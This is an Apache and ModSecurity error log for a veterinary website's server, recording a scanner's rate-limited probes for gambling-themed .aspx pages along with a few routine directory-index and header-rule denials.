[Thu May 14 22:21:35.611786 2026] [:error] [pid 47721:tid 47739] [client 81.167.26.57:7497] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agXab3Emh7_G0hfOa6sv-AAAAZA"]
[Thu May 14 22:21:38.173118 2026] [:error] [pid 11588:tid 11673] [client 81.167.26.57:63843] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agXactUr21rOixkeGKa_hQAAAJU"]
[Thu May 14 22:21:40.743299 2026] [:error] [pid 11581:tid 11615] [client 81.167.26.57:44209] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agXadP0vF48FbzpvQMU_kQAAABI"]
[Thu May 14 22:21:43.353019 2026] [:error] [pid 11581:tid 11620] [client 81.167.26.57:11479] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agXad_0vF48FbzpvQMU_lQAAABc"]
[Thu May 14 22:21:45.906499 2026] [:error] [pid 47721:tid 47738] [client 81.167.26.57:34356] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agXaeXEmh7_G0hfOa6sv-wAAAY8"]
[Thu May 14 22:21:48.527699 2026] [:error] [pid 47721:tid 47731] [client 81.167.26.57:30641] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agXafHEmh7_G0hfOa6sv_AAAAYg"]
[Thu May 14 22:21:51.069059 2026] [:error] [pid 47721:tid 47729] [client 81.167.26.57:17867] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agXaf3Emh7_G0hfOa6sv_QAAAYY"]
[Thu May 14 22:21:53.653333 2026] [:error] [pid 11588:tid 11656] [client 81.167.26.57:7644] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agXagdUr21rOixkeGKa_hwAAAIQ"]
[Thu May 14 22:22:36.077881 2026] [:error] [pid 47673:tid 47699] [client 81.167.26.57:4914] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "agXarPCGe4cIn3sh5k0y-gAAAVg"]
[Thu May 14 22:22:38.623986 2026] [:error] [pid 47721:tid 47730] [client 81.167.26.57:28306] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "agXarnEmh7_G0hfOa6swGAAAAYc"]
[Thu May 14 22:22:41.208781 2026] [:error] [pid 63033:tid 63044] [client 81.167.26.57:42040] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "agXasVMY49UWn5BpqVYJqgAAAQk"]
[Thu May 14 22:22:43.814851 2026] [:error] [pid 11690:tid 11723] [client 81.167.26.57:43161] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "agXasynxWuLN8Hptw8lApAAAANg"]
[Thu May 14 22:22:46.389493 2026] [:error] [pid 11581:tid 11611] [client 81.167.26.57:57441] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "agXatv0vF48FbzpvQMU_ygAAAA4"]
[Thu May 14 22:22:49.036745 2026] [:error] [pid 63033:tid 63056] [client 81.167.26.57:45536] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "agXauVMY49UWn5BpqVYJrgAAARU"]
[Thu May 14 22:22:51.629107 2026] [:error] [pid 63033:tid 63039] [client 81.167.26.57:64677] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "agXau1MY49UWn5BpqVYJrwAAAQQ"]
[Thu May 14 22:22:54.084226 2026] [:error] [pid 47673:tid 47678] [client 81.167.26.57:35110] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agXavvCGe4cIn3sh5k0y_AAAAUM"]
[Thu May 14 22:22:56.665517 2026] [:error] [pid 11690:tid 11711] [client 81.167.26.57:47999] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agXawCnxWuLN8Hptw8lArwAAAMw"]
[Thu May 14 22:22:59.236232 2026] [:error] [pid 47721:tid 47744] [client 81.167.26.57:44339] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agXaw3Emh7_G0hfOa6swHQAAAZU"]
[Thu May 14 22:23:01.833296 2026] [:error] [pid 11690:tid 11708] [client 81.167.26.57:3510] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "agXaxSnxWuLN8Hptw8lAsAAAAMk"]
[Thu May 14 22:23:04.400646 2026] [:error] [pid 11690:tid 11723] [client 81.167.26.57:38774] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "agXayCnxWuLN8Hptw8lAsQAAANg"]
[Thu May 14 22:23:06.979730 2026] [:error] [pid 11581:tid 11608] [client 81.167.26.57:29284] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "agXayv0vF48FbzpvQMU_2QAAAAs"]
[Thu May 14 22:23:09.579977 2026] [:error] [pid 11581:tid 11617] [client 81.167.26.57:54177] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "agXazf0vF48FbzpvQMU_3wAAABQ"]
[Thu May 14 22:23:12.158836 2026] [:error] [pid 11581:tid 11612] [client 81.167.26.57:23432] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "agXa0P0vF48FbzpvQMU_5QAAAA8"]
[Thu May 14 22:23:14.750829 2026] [:error] [pid 11582:tid 11631] [client 81.167.26.57:37954] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "agXa0vuw2cmFDpGcKhA-DgAAAEY"]
[Thu May 14 22:23:17.324965 2026] [:error] [pid 47673:tid 47683] [client 81.167.26.57:54803] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "agXa1fCGe4cIn3sh5k0zBwAAAUg"]
[Thu May 14 22:23:19.909734 2026] [:error] [pid 11582:tid 11641] [client 81.167.26.57:27593] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "agXa1_uw2cmFDpGcKhA-EAAAAFA"]
[Thu May 14 22:23:22.534377 2026] [:error] [pid 63033:tid 63038] [client 81.167.26.57:28194] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "agXa2lMY49UWn5BpqVYJtwAAAQM"]
[Thu May 14 22:23:25.125401 2026] [:error] [pid 47673:tid 47679] [client 81.167.26.57:3561] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "agXa3fCGe4cIn3sh5k0zCgAAAUQ"]
[Thu May 14 22:23:27.706605 2026] [:error] [pid 11690:tid 11717] [client 81.167.26.57:24492] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agXa3ynxWuLN8Hptw8lAswAAANI"]
[Thu May 14 22:23:30.300877 2026] [:error] [pid 63033:tid 63041] [client 81.167.26.57:36691] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agXa4lMY49UWn5BpqVYJuwAAAQY"]
[Thu May 14 22:24:12.167930 2026] [:error] [pid 63033:tid 63053] [client 81.167.26.57:60243] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "agXbDFMY49UWn5BpqVYJzwAAARI"]
[Thu May 14 22:24:14.706857 2026] [:error] [pid 11690:tid 11717] [client 81.167.26.57:18170] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "agXbDinxWuLN8Hptw8lAwAAAANI"]
[Thu May 14 22:24:17.282650 2026] [:error] [pid 11588:tid 11661] [client 81.167.26.57:17249] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "agXbEdUr21rOixkeGKa_nQAAAIk"]
[Thu May 14 22:24:19.714787 2026] [:error] [pid 11581:tid 11609] [client 81.167.26.57:40980] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agXbE_0vF48FbzpvQMVAEgAAAAw"]
[Thu May 14 22:24:22.287940 2026] [:error] [pid 47721:tid 47747] [client 81.167.26.57:12757] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "agXbFnEmh7_G0hfOa6swJgAAAZg"]
[Thu May 14 22:24:24.714094 2026] [:error] [pid 63033:tid 63048] [client 81.167.26.57:20385] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "agXbGFMY49UWn5BpqVYJ0QAAAQ0"]
[Thu May 14 22:24:27.298005 2026] [:error] [pid 11588:tid 11675] [client 81.167.26.57:50323] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agXbG9Ur21rOixkeGKa_rQAAAJc"]
[Thu May 14 22:24:29.768226 2026] [:error] [pid 11690:tid 11703] [client 81.167.26.57:43488] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agXbHSnxWuLN8Hptw8lAwQAAAMQ"]
[Thu May 14 22:24:32.323333 2026] [:error] [pid 11581:tid 11599] [client 81.167.26.57:57409] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agXbIP0vF48FbzpvQMVAGAAAAAI"]
[Thu May 14 22:24:34.762934 2026] [:error] [pid 11581:tid 11615] [client 81.167.26.57:58752] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agXbIv0vF48FbzpvQMVAGQAAABI"]
[Thu May 14 22:24:37.352859 2026] [:error] [pid 11588:tid 11671] [client 81.167.26.57:1973] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agXbJdUr21rOixkeGKa_xAAAAJM"]
[Thu May 14 22:24:39.946746 2026] [:error] [pid 11581:tid 11607] [client 81.167.26.57:6525] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agXbJ_0vF48FbzpvQMVAHgAAAAo"]
[Thu May 14 22:24:42.521168 2026] [:error] [pid 11588:tid 11673] [client 81.167.26.57:22408] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agXbKtUr21rOixkeGKa_yQAAAJU"]
[Thu May 14 22:24:45.050629 2026] [:error] [pid 11588:tid 11674] [client 81.167.26.57:45417] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agXbLdUr21rOixkeGKa_zwAAAJY"]
[Fri May 15 00:05:16.581905 2026] [autoindex:error] [pid 47673:tid 47683] [client 74.7.242.23:54702] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/plugins/elementor/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://vetstars.com.au/our-story/
[Fri May 15 00:05:18.815682 2026] [autoindex:error] [pid 47673:tid 47680] [client 74.7.242.23:54702] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://vetstars.com.au/wp-content/uploads
[Fri May 15 00:05:24.921007 2026] [autoindex:error] [pid 11690:tid 11708] [client 74.7.242.23:50226] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/plugins/elementor-pro/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://vetstars.com.au/our-story/
[Fri May 15 00:59:22.697202 2026] [:error] [pid 11690:tid 11703] [client 43.134.53.242:54308] [client 43.134.53.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agX_ainxWuLN8Hptw8lPRgAAAMQ"]
[Fri May 15 01:13:45.367877 2026] [:error] [pid 11581:tid 11617] [client 81.167.26.57:63463] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agYCyf0vF48FbzpvQMVl3QAAABQ"]
[Fri May 15 01:13:47.899730 2026] [:error] [pid 11582:tid 11643] [client 81.167.26.57:8031] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agYCy_uw2cmFDpGcKhBHpgAAAFI"]
[Fri May 15 01:13:50.575448 2026] [:error] [pid 11690:tid 11709] [client 81.167.26.57:39084] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agYCzinxWuLN8Hptw8lQ0wAAAMo"]
[Fri May 15 01:13:53.130715 2026] [:error] [pid 11588:tid 11671] [client 81.167.26.57:18985] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agYC0dUr21rOixkeGKbT8QAAAJM"]
[Fri May 15 01:13:55.731611 2026] [:error] [pid 11690:tid 11707] [client 81.167.26.57:56139] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agYC0ynxWuLN8Hptw8lQ2wAAAMg"]
[Fri May 15 01:13:58.315950 2026] [:error] [pid 11581:tid 11609] [client 81.167.26.57:44715] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agYC1v0vF48FbzpvQMVl9AAAAAw"]
[Fri May 15 01:14:01.031050 2026] [:error] [pid 11588:tid 11667] [client 81.167.26.57:22301] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agYC2dUr21rOixkeGKbT9gAAAI8"]
